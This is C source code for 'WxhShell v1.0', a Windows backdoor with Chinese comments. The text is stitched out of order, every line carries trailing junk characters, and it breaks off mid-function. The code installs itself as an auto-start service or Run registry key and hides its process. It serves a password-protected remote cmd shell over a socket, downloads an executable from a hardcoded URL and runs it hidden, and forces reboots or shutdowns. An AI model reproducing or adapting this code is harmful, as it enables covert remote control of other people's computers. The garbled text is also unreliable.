    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YPK(be_|I  
    else { =llvuUd\n  
    closesocket(wsh); j9 4=hJVKi  
    ExitThread(0); ;jvBF4Lb>  
    } l2rd9 -T  
    break; '(yAfL 9}  
    } >j(_[z|v3  
  // 获取shell xU>WEm2  
  case 's': { 1;r|g)VM  
    CmdShell(wsh); %D}kD6=  
    closesocket(wsh); xH(lm2kvT  
    ExitThread(0); ?2;&O`x*  
    break; `maKN\;  
  } i6tf2oqO7  
  // 退出 [OV"}<V  
  case 'x': { RJ ||}5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k,E{C{^M  
    CloseIt(wsh); )72+\C[*~r  
    break; 3kIN~/<R+7  
    } otl0J Ht*+  
  // 离开 '4Ixqb+  
  case 'q': { THbh%)Zv+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }=UHbU.n~!  
    closesocket(wsh); V>)OpvoT#  
    WSACleanup(); #!qm ZN  
    exit(1); U;V7 u/{  
    break; *:YiimOY"  
        } {M$1N5Eh  
  }  V!ZC(  
  } 5k3n\sqZA  
w%VU/6~  
  // 提示信息 6C^ D#.S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ f &XQQY  
} +p_CN*10H  
  } \H~T>j{N  
wd^':  
  return; |zNX=mAV  
} RtP2]O(F  
;| 5F[  
// shell模块句柄 +L| ?~p`V  
int CmdShell(SOCKET sock) ooL!TS GD  
{ 9ni1f{k  
STARTUPINFO si; }6}l7x  
ZeroMemory(&si,sizeof(si)); JEwa &  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d>&,9c%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eRstD>r  
PROCESS_INFORMATION ProcessInfo; "a>q`RaIQ"  
char cmdline[]="cmd"; hh)`645=x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C12Fl  
  return 0; gA+qC7=p$  
} [nG<[<0G;  
Nk 8B_{  
// 自身启动模式 Yty/3T3)e  
int StartFromService(void) 4 Y9`IgQ  
{ 4*#18<u5  
typedef struct kT66;Y[  
{ V`d,qn)i  
  DWORD ExitStatus; _LUhZlw  
  DWORD PebBaseAddress; cJ n=  
  DWORD AffinityMask; [{,T.;'<j  
  DWORD BasePriority; GPv1fearl  
  ULONG UniqueProcessId; ~&_z2|UXp  
  ULONG InheritedFromUniqueProcessId; 5iw<>9X*  
}   PROCESS_BASIC_INFORMATION; YQ)kRhFA  
AW'0,b`v  
PROCNTQSIP NtQueryInformationProcess; _QE qk@ql  
&|ex`nwc0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N7QK> "a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (k)v!O-  
7\[@ m3s  
  HANDLE             hProcess; o]_dJB  
  PROCESS_BASIC_INFORMATION pbi; EIAc@$4  
]t,BMu=%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "5!oi]@>(  
  if(NULL == hInst ) return 0; rmm0/+jY  
b<ZIWfs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #&k5 d:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J#(LlCs?@c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ({)+3]x  
nYSiS}?S .  
  if (!NtQueryInformationProcess) return 0; 3m)0z{n  
F6|]4H.3Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eA?RK.e  
  if(!hProcess) return 0; yu|8_<bq  
70nqD>M4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n\D&!y[]F  
)[IC?U:5I  
  CloseHandle(hProcess); xn(kKB.  
@ioJ] $o7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [5b--O  
if(hProcess==NULL) return 0; a0E)2vt4  
|F[+k e  
HMODULE hMod; KqJs?Won  
char procName[255]; 50wulGJud  
unsigned long cbNeeded; s`8= 3]w  
#L;dI@7C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 69NeQ$](  
{duz\k2  
  CloseHandle(hProcess); pa3{8x{9m  
OLGE!&!>  
if(strstr(procName,"services")) return 1; // 以服务启动 uyWunpT  
2- h{N  
  return 0; // 注册表启动 qgHWUwr+n  
} AKfDXy  
((;!<5-`s  
// 主模块 "m8^zg hL  
int StartWxhshell(LPSTR lpCmdLine) @n /nH?L  
{ ~jk|4`I?T  
  SOCKET wsl; tw/dD +  
BOOL val=TRUE; /Iokf@5  
  int port=0; o#Dk& cH  
  struct sockaddr_in door; ()?(I?II  
`UaD6Mc<Mz  
  if(wscfg.ws_autoins) Install(); +GN(Ug'R  
]Q1yNtN  
port=atoi(lpCmdLine); _6hQ %hv8  
G j?t_Zln  
if(port<=0) port=wscfg.ws_port; exUFS5d  
|aS.a&vwR  
  WSADATA data; @*XV`_!h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  4e7-0}0  
s 5Qcl;}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4E+e}\r:6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bsli0FJSh'  
  door.sin_family = AF_INET; _J#zY- j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lfgq=8d  
  door.sin_port = htons(port); Qd{CMm x  
;ef}}K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o:'MpKm  
closesocket(wsl); GL}]y -f  
return 1; ec;o\erPG  
} }R2u@%n{  
q YQl,w  
  if(listen(wsl,2) == INVALID_SOCKET) { !9e=_mY  
closesocket(wsl); ~G&dqw/.-U  
return 1; `/+>a8  
} \*?~Yj #  
  Wxhshell(wsl); Ic<2QknmP  
  WSACleanup(); Wvh#:Z  
ebhXak[w  
return 0; u&vf+6=9Dd  
Hvi49c]]  
} 2l'6.  
jB2[(  
// 以NT服务方式启动 <'Eme  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  K5h  
{ t =iIY`Md%  
DWORD   status = 0; H%td hu\e  
  DWORD   specificError = 0xfffffff; (%6P0*  
g$-PR37(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9.-S(ZO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rs[T=CQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;[DU%f  
  serviceStatus.dwWin32ExitCode     = 0; zC!t;*8a  
  serviceStatus.dwServiceSpecificExitCode = 0; `U_)98  
  serviceStatus.dwCheckPoint       = 0; 6d}lw6L  
  serviceStatus.dwWaitHint       = 0; F)QDJE0  
]_gU#,8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q3!bky\  
  if (hServiceStatusHandle==0) return; lUZ+YD4  
.`eN8Dl1  
status = GetLastError(); h[Y1?ln&h  
  if (status!=NO_ERROR) K\r8g=U  
{ p]TAELy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (w3YvG.  
    serviceStatus.dwCheckPoint       = 0; 2/^3WY1U  
    serviceStatus.dwWaitHint       = 0; ES7s1O$#  
    serviceStatus.dwWin32ExitCode     = status; ouQ T  
    serviceStatus.dwServiceSpecificExitCode = specificError; M6j y\<a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4+8@`f>s  
    return; g3y~bf  
  } {;1\+ f  
H7n>Vx:L-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q)h(nbbVak  
  serviceStatus.dwCheckPoint       = 0; C1)!f j=  
  serviceStatus.dwWaitHint       = 0; J ZS:MFA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !F$6-0%  
} gwMNYMI  
F$]Pk|,  
// 处理NT服务事件,比如:启动、停止  =:pJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d#FQc18v}k  
{ ?:q*(EC<  
switch(fdwControl) XRi8Gpg  
{ m:2^= l4  
case SERVICE_CONTROL_STOP: NXrlk  
  serviceStatus.dwWin32ExitCode = 0; CD~.z7,LC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >kVz49j  
  serviceStatus.dwCheckPoint   = 0; &h/X ku&0  
  serviceStatus.dwWaitHint     = 0; :"c*s4  
  { TvbE2Q;/UL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DvvK^+-~  
  } ZFL~;_r  
  return; )y$(AJx$  
case SERVICE_CONTROL_PAUSE: 46h<,na?,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y<Ot)fa$  
  break; ~c `l@:  
case SERVICE_CONTROL_CONTINUE: 5 7c8xk[.2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q/,O\,  
  break; X \/#@T  
case SERVICE_CONTROL_INTERROGATE: NBGH_6DROw  
  break; kuP(r  
}; sXPe/fWo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )SGq[B6@I  
} ?Uo BV$  
|CyE5i0  
// 标准应用程序主函数 4kx N<]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /\n- P'}  
{ j\M?~=*w  
@o`AmC . 8  
// 获取操作系统版本 L!xi  
OsIsNt=GetOsVer(); Gd85kY@w7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gcT%c|.  
?Ir:g=RP*  
  // 从命令行安装 ym1Y4,  
  if(strpbrk(lpCmdLine,"iI")) Install();  @q) d  
P&Vv/D  
  // 下载执行文件 j8sH|{H!Nq  
if(wscfg.ws_downexe) { #H~64/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K}Qa~_  
  WinExec(wscfg.ws_filenam,SW_HIDE); K-Ef%a2#`  
} S f# R0SA  
<a3 WKw  
if(!OsIsNt) { "w<#^d_6  
// 如果时win9x,隐藏进程并且设置为注册表启动 R:qW;n%AF  
HideProc(); ZN0P:==  
StartWxhshell(lpCmdLine); ~P-mC@C  
} CrTw@AW9)  
else p!%pP}I  
  if(StartFromService()) G3T]`Atf  
  // 以服务方式启动 |[8Th4*n  
  StartServiceCtrlDispatcher(DispatchTable); 9\(| D#  
else $6IJ P\  
  // 普通方式启动 [$UI8tV  
  StartWxhshell(lpCmdLine); %WS+(0*1  
C0Z=~Q%  
return 0; >vsqG=x  
} _+MJ%'>S  
]ZS OM\}  
mt.))#1  
Y'X%Aw;`  
=========================================== HGg@ _9tW  
)4;`^]F  
0"z9Q\{}  
,V}WM%Km  
qH_Dc=~la  
1$ {SRU7l  
" u*9V&>o  
rytyw77t(  
#include <stdio.h> oXgcc*j  
#include <string.h> BMf@M  
#include <windows.h> \~wMfP8  
#include <winsock2.h> $ocdI5  
#include <winsvc.h> 9lE_nc  
#include <urlmon.h> >yDZw!C  
/>>\IR  
#pragma comment (lib, "Ws2_32.lib") _)-o1`*-  
#pragma comment (lib, "urlmon.lib") mX|ojZ  
7{Wny&[0  
#define MAX_USER   100 // 最大客户端连接数 dAj$1Ke  
#define BUF_SOCK   200 // sock buffer Znv,9-  
#define KEY_BUFF   255 // 输入 buffer % & bY]w  
gBD]}vo-  
#define REBOOT     0   // 重启 *X}`PF   
#define SHUTDOWN   1   // 关机 sDV Q#}a  
Etm?'  
#define DEF_PORT   5000 // 监听端口 w4Z'K&d=  
f%hEnZv  
#define REG_LEN     16   // 注册表键长度 poFg 1  
#define SVC_LEN     80   // NT服务名长度 i@J ;G`  
 9gZ$   
// 从dll定义API P!k{u^$L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5@W j>:w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kG*~ |ma  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NGWxN8P6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); / XIhj  
+ck}l2&#  
// wxhshell配置信息 FN73+-:n:j  
struct WSCFG { i}?>g-(  
  int ws_port;         // 监听端口 Y<8vw d  
  char ws_passstr[REG_LEN]; // 口令 /a o5FL  
  int ws_autoins;       // 安装标记, 1=yes 0=no U/BR*Zn]*  
  char ws_regname[REG_LEN]; // 注册表键名 Tm?#M&'  
  char ws_svcname[REG_LEN]; // 服务名 { (}By/_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y <qm{e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9_s`{(0?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?bu>r=oIO]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [0 e_*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [ikOb8 G#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xId.GWY1  
Xha..r  
}; A5w6]:f2  
gZ1?G-Q  
// default Wxhshell configuration bN@ l?w  
struct WSCFG wscfg={DEF_PORT, cN9t{.m  
    "xuhuanlingzhe", u<&m]] *  
    1, H>@+om  
    "Wxhshell", t |oR7qa{w  
    "Wxhshell", CJI~_3+K  
            "WxhShell Service", W@!S%Y9  
    "Wrsky Windows CmdShell Service", ,7b[!#?8  
    "Please Input Your Password: ", Q NVa?'0"Y  
  1, F4{IEZ  
  "http://www.wrsky.com/wxhshell.exe", >&k-'`Nw  
  "Wxhshell.exe" S21,VpW\  
    }; ^Zp>G{QL{  
dcT80sOC  
// 消息定义模块 L j$;:/G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \nqS+on]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G*v,GR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }o{(S%%  
char *msg_ws_ext="\n\rExit."; c[Zje7 @  
char *msg_ws_end="\n\rQuit."; %u5]>]M+  
char *msg_ws_boot="\n\rReboot..."; ;jTN | i'  
char *msg_ws_poff="\n\rShutdown..."; 9~YMyg(Z  
char *msg_ws_down="\n\rSave to "; >-{Hyx  
!0E&@X:-  
char *msg_ws_err="\n\rErr!"; WOf 4o  
char *msg_ws_ok="\n\rOK!"; 7J&4akT{9  
SK.: Q5:  
char ExeFile[MAX_PATH]; pY$Q  
int nUser = 0; ItTz.sQ  
HANDLE handles[MAX_USER]; GowH]MO  
int OsIsNt; [PKR2UEe]  
dAe')N:KPI  
SERVICE_STATUS       serviceStatus; H 7 ^/q7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D|#E9OQzs  
o%*xvH*A  
// 函数声明 6\S~P/PkE  
int Install(void); 2VCI 1E  
int Uninstall(void); *HB-QIl  
int DownloadFile(char *sURL, SOCKET wsh); #LN`X8Wz'  
int Boot(int flag); 3DG_QVg^v  
void HideProc(void); .w ,q0<}  
int GetOsVer(void); S`?!G&[!>  
int Wxhshell(SOCKET wsl); 9Lfv^V0  
void TalkWithClient(void *cs); O<W_fx8_'  
int CmdShell(SOCKET sock); K'I#W lg  
int StartFromService(void); pFz`}?c0  
int StartWxhshell(LPSTR lpCmdLine); uA#;G/$  
{cw /!B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q6X1P" %.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $xdy&  
eQvg7aO;  
// 数据结构和表定义 -o EW:~y  
SERVICE_TABLE_ENTRY DispatchTable[] = 5QO9Q]I#_\  
{ Jqi%|,/]N  
{wscfg.ws_svcname, NTServiceMain}, -C&P%tt Y  
{NULL, NULL} vgN&K@hJ  
}; !FFU=f  
@!d{bQd,  
// 自我安装  1ZB"EQ  
int Install(void) _8agtQ:<  
{ $]2vvr  
  char svExeFile[MAX_PATH]; :S(ZzY Q  
  HKEY key; "G9xMffW  
  strcpy(svExeFile,ExeFile); ?#Q #u|~  
F^fdIZx  
// 如果是win9x系统,修改注册表设为自启动 2T[9f;jM'  
if(!OsIsNt) { $a ` G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <yg F(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4|#WFLo@  
  RegCloseKey(key); >~+ELVB&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {P#|zp4C{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K )k<Rh[<  
  RegCloseKey(key); VTHH&$ZNq  
  return 0; s=/v';5J2!  
    } 57'4ljvYi  
  } U_c*6CK  
} DkAAV9*  
else { yyy|Pw4:Z  
X+]G-  
// 如果是NT以上系统,安装为系统服务 3%=~) 7cF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tcog'nAz  
if (schSCManager!=0) 8BNi1Qn$  
{ I ?.^ho  
  SC_HANDLE schService = CreateService LvYB7<zk>  
  ( m/EFHS49  
  schSCManager, ?p8_AL'RS  
  wscfg.ws_svcname, J`1rJ  
  wscfg.ws_svcdisp, V,N%;iB}  
  SERVICE_ALL_ACCESS, t}tEvh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G?Hdq;  
  SERVICE_AUTO_START, ~gRf:VXX=_  
  SERVICE_ERROR_NORMAL, 4)o  
  svExeFile, h;NYdX5  
  NULL, @bP)406p  
  NULL, OY@ %p}l  
  NULL, vd4ytC  
  NULL, PXNh&N  
  NULL WVvvI9  
  ); (7=9++uU  
  if (schService!=0) fXQNHZ|4  
  { }U5yQ%N  
  CloseServiceHandle(schService); 'K,:j 388  
  CloseServiceHandle(schSCManager); UU0,!?o4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8E]F$.6U  
  strcat(svExeFile,wscfg.ws_svcname); "@,}p\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZO c)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o J;$sj  
  RegCloseKey(key); rguCp}r  
  return 0; $z*'fXg  
    } T0rG M  
  } h>OfOx/{q9  
  CloseServiceHandle(schSCManager); 85xR2<:  
} f^XOUh  
} {%6`!WW[  
Ck7uJI<x  
return 1; WU=59gB+jL  
} mvT(.R ..s  
001FmiV  
// 自我卸载 5( HG|  
int Uninstall(void) x{/g(r={}  
{ 5iyd Z  
  HKEY key; WbqWG^W  
Czu\RXJR  
if(!OsIsNt) { 8StgsM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _/5H l`  
  RegDeleteValue(key,wscfg.ws_regname); Pw!MS5=r  
  RegCloseKey(key); ChXq4]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #" iu| D  
  RegDeleteValue(key,wscfg.ws_regname);  p|D/;Mk  
  RegCloseKey(key); 9|CN8x-  
  return 0; LOV)3{m  
  } H\tUpan6fy  
} 5 5c|O  
} q;>7*Y&  
else { $,Yd>%Y  
`XEr(e9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pgZXJ  
if (schSCManager!=0) Whf.fK  
{ _X"N1,0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); **gXvTqI  
  if (schService!=0) ?zHPJLv|Y  
  { ~|xA4u5LG  
  if(DeleteService(schService)!=0) { ?]Xpi3k  
  CloseServiceHandle(schService); =xx]@  
  CloseServiceHandle(schSCManager); 'qX|jtdM  
  return 0; G<rHkt@[  
  } #d2.\X}A"3  
  CloseServiceHandle(schService); z]D69O b  
  } *w0%d1  
  CloseServiceHandle(schSCManager); Jcm&RI"{  
} JQHvz9Yg  
} tc{s B\&-  
!6Mo]xh  
return 1; ZlzjVU/E  
} ptxbDzOz  
7X'u6$i  
// 从指定url下载文件 .O}%  
int DownloadFile(char *sURL, SOCKET wsh) l u%}h7ng  
{ 9kS^Abtk  
  HRESULT hr; &t:Gx<]  
char seps[]= "/"; h/hmlnOQl  
char *token; [>5-$YOT  
char *file; $F+ LDs  
char myURL[MAX_PATH]; |f_[\&<*  
char myFILE[MAX_PATH]; A*P|e-&Q8  
t+T4-1 3a  
strcpy(myURL,sURL); 74k dsgQf  
  token=strtok(myURL,seps); p\aaJ  
  while(token!=NULL) o;<Xo&  
  { mg.kr:  
    file=token; r{I% \R!@  
  token=strtok(NULL,seps); {vyv7L  
  } )6,=f.%  
z]`k#O%%)  
GetCurrentDirectory(MAX_PATH,myFILE); 9b"=9y,  
strcat(myFILE, "\\"); 9=h'9Wo  
strcat(myFILE, file); MC:@U~}6  
  send(wsh,myFILE,strlen(myFILE),0); rJbf_]^  
send(wsh,"...",3,0); =\wxsL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >!bJslWA  
  if(hr==S_OK) FOy|F-j  
return 0; 8=uu8-l8g  
else x$Oq0d{T  
return 1; n!xt5=x P{  
/Uy"M:|V1  
} 9}F*P669f  
e:n<EnT  
// 系统电源模块 T@&K- UQ  
int Boot(int flag) Rww{:R  
{ w\i\Wp,FP  
  HANDLE hToken; (w/T-*  
  TOKEN_PRIVILEGES tkp; Xe:jAkDp  
8sTp`}54 J  
  if(OsIsNt) { 9V@V6TvW>&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G5aieD.#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ne{?:h.!  
    tkp.PrivilegeCount = 1; '2nhv,|.U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *XbEiMJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^^as'Dk  
if(flag==REBOOT) { }Nm#q@o$P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jiS_G%G  
  return 0;  fc-iAj  
} ]J$eDbaEjT  
else { >\=3:gb:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _ff`y  
  return 0; b Y\K  
} 4;]hK!AXS  
  } mA+&Io  
  else { mmEYup(l0;  
if(flag==REBOOT) { O  %!!w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *%fi/bimG  
  return 0; `e|0g"oP  
} <vh/4  
else { Y^7$t^&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Wp{ [TH  
  return 0; EwC{R`  
} B!_mC<*4`X  
} W;L7SF g)  
A1D^a,  
return 1; LO khjHR  
} uU <=d  
:'3XAntZA  
// win9x进程隐藏模块 w2Jf^pR  
void HideProc(void) X>(TrdK_9"  
{ aM2l2  
UU mTOJr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2w_WAdi  
  if ( hKernel != NULL ) 8I8 F/47x  
  { &U raUl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mg OR2,cR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YY)s p%  
    FreeLibrary(hKernel); S=<}:#;u0  
  } 1#*a:F&re  
M/ni6%x  
return; *`\Pr  
} XY)&}u.  
E^lvbLh'  
// 获取操作系统版本 Wm"4Ae:B  
int GetOsVer(void) + SFVv_n  
{ I)cFG{~L  
  OSVERSIONINFO winfo; Hh-+/sO~"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )- viGxJ@  
  GetVersionEx(&winfo); 36%nB*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xtE_=5$~  
  return 1; Fzpfoz<N  
  else v'qG26  
  return 0; Co9QW/'i  
} hMUs" <.  
V_RTI.3p  
// 客户端句柄模块 dC $Em@Nb  
int Wxhshell(SOCKET wsl) d`nVc50  
{ XZJ+h,f  
  SOCKET wsh; <2|O:G  
  struct sockaddr_in client; Q6AC(n@:FV  
  DWORD myID; 8XzR wYV  
e8]\U/  
  while(nUser<MAX_USER) 8V)^R(\;  
{ r>"   
  int nSize=sizeof(client); *x])Y~oQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?^$MRa:D  
  if(wsh==INVALID_SOCKET) return 1; &nkW1Ner9  
'wI"Bo6e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ll6wpV0m  
if(handles[nUser]==0) B}:(za&  
  closesocket(wsh); `'c_=<&n  
else x&9hI  
  nUser++; C\nhqkn  
  } 6morum  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2f:Eof(B  
}i`PGx  
  return 0; {Jx4xpvPo  
} gu<'QV"  
("+}=*?OF3  
// 关闭 socket 8` @G;o  
void CloseIt(SOCKET wsh) W4e5Rb4~f"  
{ ryCI>vJz  
closesocket(wsh); Y$Y_fjd_  
nUser--; & )vC;$vD`  
ExitThread(0); jhu&& ==\f  
} CkD#/  
;SaX;!`39+  
// 客户端请求句柄 Y&_&s7z  
void TalkWithClient(void *cs) NqEA4C  
{ dBe`p5Z  
oiyzHx  
  SOCKET wsh=(SOCKET)cs; . I'o  
  char pwd[SVC_LEN]; c`WHNky%j  
  char cmd[KEY_BUFF]; R~jHr )0.#  
char chr[1]; IS[thbzkZ  
int i,j; ./D$dbu3  
IlE_@gS8  
  while (nUser < MAX_USER) { UkHY[M7;  
rEv*)W  
if(wscfg.ws_passstr) { t|<NI+H(e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J?}WQLVP'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2@~M4YJf  
  //ZeroMemory(pwd,KEY_BUFF); Z]WnG'3N  
      i=0; C,NxE5?h  
  while(i<SVC_LEN) { 2aB^WY'tC  
E)7F\w  
  // 设置超时 \, &co  
  fd_set FdRead; Nl9I*x^e  
  struct timeval TimeOut; 7&"n`@(.!  
  FD_ZERO(&FdRead); }X_;X_\3;'  
  FD_SET(wsh,&FdRead); T4 N~(Fi)  
  TimeOut.tv_sec=8; R8UYP=Kp  
  TimeOut.tv_usec=0; mp?78_I)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3=$q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >sjhA|gXk  
/K{9OT@>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ""h)LUrl  
  pwd=chr[0]; "+ >SJ~  
  if(chr[0]==0xd || chr[0]==0xa) { ~$f;U  
  pwd=0; E55t*^`  
  break; !\#_Jw%y  
  } <b?!jV7  
  i++; u4neXYSy  
    } a9Z%JS]  
Ppt2A6W  
  // 如果是非法用户,关闭 socket 80Y\|)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <~X>[PK<  
} p=B>~CH  
u#A<hq;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -0Tnh;&=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M- 2Tz[  
>Clh] ;K  
while(1) { XfE -fH1j  
`#QG6/0  
  ZeroMemory(cmd,KEY_BUFF);  6XJ[h  
}^*F59>H  
      // 自动支持客户端 telnet标准   .R8 HZ}3  
  j=0; $DC*i-}qFg  
  while(j<KEY_BUFF) { iy\nio`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); st &  
  cmd[j]=chr[0]; q@~L&{  
  if(chr[0]==0xa || chr[0]==0xd) { X!},8}~J~  
  cmd[j]=0; *;U'[H3Q  
  break; 9lj!C '  
  } rgf#wH%hN  
  j++; s/e"'Hz  
    } 6PF8 /@Nh  
Z,;cCxE  
  // 下载文件 ror|R@;y  
  if(strstr(cmd,"http://")) { %Lrd6i_j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f0SAP0M3  
  if(DownloadFile(cmd,wsh)) 16EVl~LN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  6vTo*8D  
  else ,prF6*g+WE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d ~_`M0+  
  } \cJ-Dd  
  else {  ,chf~-d  
%=<IGce  
    switch(cmd[0]) { >x@P|\  
  c<BO gNr  
  // 帮助 CG&`16KN7  
  case '?': { Koln9'tB  
